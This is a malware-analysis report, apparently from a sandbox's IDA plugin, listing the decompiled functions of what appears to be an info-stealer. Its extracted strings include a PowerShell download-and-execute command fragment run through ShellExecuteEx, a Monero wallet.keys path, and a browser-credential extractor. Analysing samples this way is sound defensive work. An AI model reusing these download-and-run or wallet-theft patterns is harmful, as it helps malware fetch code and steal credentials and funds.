Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BA5318
lstrlen.KERNEL32(00000000), ref: 00BA532F

Part of subcall function 00BA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BA8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00BA5364
lstrlen.KERNEL32(00000000), ref: 00BA5383
lstrlen.KERNEL32(00000000), ref: 00BA53AE

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Strings

ERROR, xrefs: 00BA5432
ERROR, xrefs: 00BA54A9
ERROR, xrefs: 00BA530A
ERROR, xrefs: 00BA53B9
ERROR, xrefs: 00BA546F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 6cc6613d8c29ed20a3d7637041e0cefb1c784b023442017ee4e19898bf33d42e
Instruction ID: 623a58158ceffa286652ff2104f95f5d187ffcbdbd9f55bbf0db4645b74d13b4
Opcode Fuzzy Hash: 6cc6613d8c29ed20a3d7637041e0cefb1c784b023442017ee4e19898bf33d42e
Instruction Fuzzy Hash: 1D510B30914148ABCB54FF64C992AEE77F9AF12301F5044A8F406AA591EF346B45CB72

Function 00BA6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00BA6774
ExitProcess.KERNEL32 ref: 00BA67A5
ExitProcess.KERNEL32 ref: 00BA67AF
ExitProcess.KERNEL32 ref: 00BA67B9
ExitProcess.KERNEL32 ref: 00BA67C3
ExitProcess.KERNEL32 ref: 00BA67CD

Strings

*, xrefs: 00BA678C

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 67f12bf13fc6d7469368457882b6d39bdf12f8c11d8a08d2c053a70b1002c00a
Instruction ID: fc110742c139e698708dd5aede32b14ed43c5159180b38ef931c66a7b1c6e0d1
Opcode Fuzzy Hash: 67f12bf13fc6d7469368457882b6d39bdf12f8c11d8a08d2c053a70b1002c00a
Instruction Fuzzy Hash: 7EF03A7090A309EFD3449FE8A90972C7B70FB05702F08819AEA09C6390DA704E419BE6

Function 00BAC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00BAC8BF
___crtGetStringTypeA.LIBCMT ref: 00BAC8EC
___crtLCMapStringA.LIBCMT ref: 00BAC90C
___crtLCMapStringA.LIBCMT ref: 00BAC931

Strings

, xrefs: 00BAC896

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 48f250ba73820eae943d5a0a447c29f8379d71eb03ba18969f60effbd176b0ec
Instruction ID: 7e53ac1cc92fe47c54c69b229c8fb2126da1c2550d0328c478cbd197fc96be8e
Opcode Fuzzy Hash: 48f250ba73820eae943d5a0a447c29f8379d71eb03ba18969f60effbd176b0ec
Instruction Fuzzy Hash: E341E6B150879C9EDB228B24CC84FFB7FE8EB46704F1444E8E98A87182D2719A44CF64

Function 00BA2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BA2D85

Strings

')", xrefs: 00BA2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00BA2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00BA2D04
<, xrefs: 00BA2D39

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 90dcc98cc584a7a3701dacf07ea4cdf4e580aa3e23e686e977c7611db72cab23
Instruction ID: c3a53dbbeaeb760c9fc05f60d1908d369f3089603631fb14071701de70fe5114
Opcode Fuzzy Hash: 90dcc98cc584a7a3701dacf07ea4cdf4e580aa3e23e686e977c7611db72cab23
Instruction Fuzzy Hash: 6941BD71D14208ABDB54FFA0C896BEEB7B8AF15300F404199E116B6191EF746A4ACFA1

Function 00B99E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00B99F41

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Strings

@, xrefs: 00B99EF1
v20, xrefs: 00B99E21
v10, xrefs: 00B99EA3
ERROR_RUN_EXTRACTOR, xrefs: 00B99E67

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2ff771c68faac7fc31aed281b6d6bed59052db80c435472825784cbaed8c8bbc
Instruction ID: 37b6dc7172bbff6a36114d6d5259f1abf482d2f0be8933f715755b6eecece52e
Opcode Fuzzy Hash: 2ff771c68faac7fc31aed281b6d6bed59052db80c435472825784cbaed8c8bbc
Instruction Fuzzy Hash: 52612171A14248AFDF24EFA4CC96FEE77F5AF45300F008568F90A5B191DB746A05CBA2

Function 00BA6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00BA696C
sscanf.NTDLL ref: 00BA6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BA69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BA69C0
ExitProcess.KERNEL32 ref: 00BA69DA

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8d115c74eeb40b6428f6e10c6f26910347bc086be77717d08e3673876847e011
Instruction ID: b10ecec76a1b0f087544d7ee1ad78fadde410099f339a69ddac0f67aeab66b49
Opcode Fuzzy Hash: 8d115c74eeb40b6428f6e10c6f26910347bc086be77717d08e3673876847e011
Instruction Fuzzy Hash: 1421CBB5D14208ABCF04EFE8D945AEEB7F9FF48300F04856AE416E3250EB345605CBA9

Function 00BA9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0063E080,?,?,?,00BA140C,?,0063E080,00000000), ref: 00BA926C
lstrcpyn.KERNEL32(00DDAB88,0063E080,0063E080,?,00BA140C,?,0063E080), ref: 00BA9290
lstrlen.KERNEL32(?,?,00BA140C,?,0063E080), ref: 00BA92A7
wsprintfA.USER32 ref: 00BA92C7

Strings

%s%s, xrefs: 00BA92B5

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 4e30f0cdb2ba7f2eb7ad5776e8a4c3a9d024a001b71146eafe4581563945f8f7
Instruction ID: 7ac1023d53084da7bc6e626e94b961df202be7538e04bbdbca2a990286abaf91
Opcode Fuzzy Hash: 4e30f0cdb2ba7f2eb7ad5776e8a4c3a9d024a001b71146eafe4581563945f8f7
Instruction Fuzzy Hash: 0B01C875501208FFCB04DFECC988EAE7BB9EB48355F11C589F9099B344C671AA41DBA1

Function 00BA6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00BA6663

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BA6726
ExitProcess.KERNEL32 ref: 00BA6755

Strings

<, xrefs: 00BA66D9

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
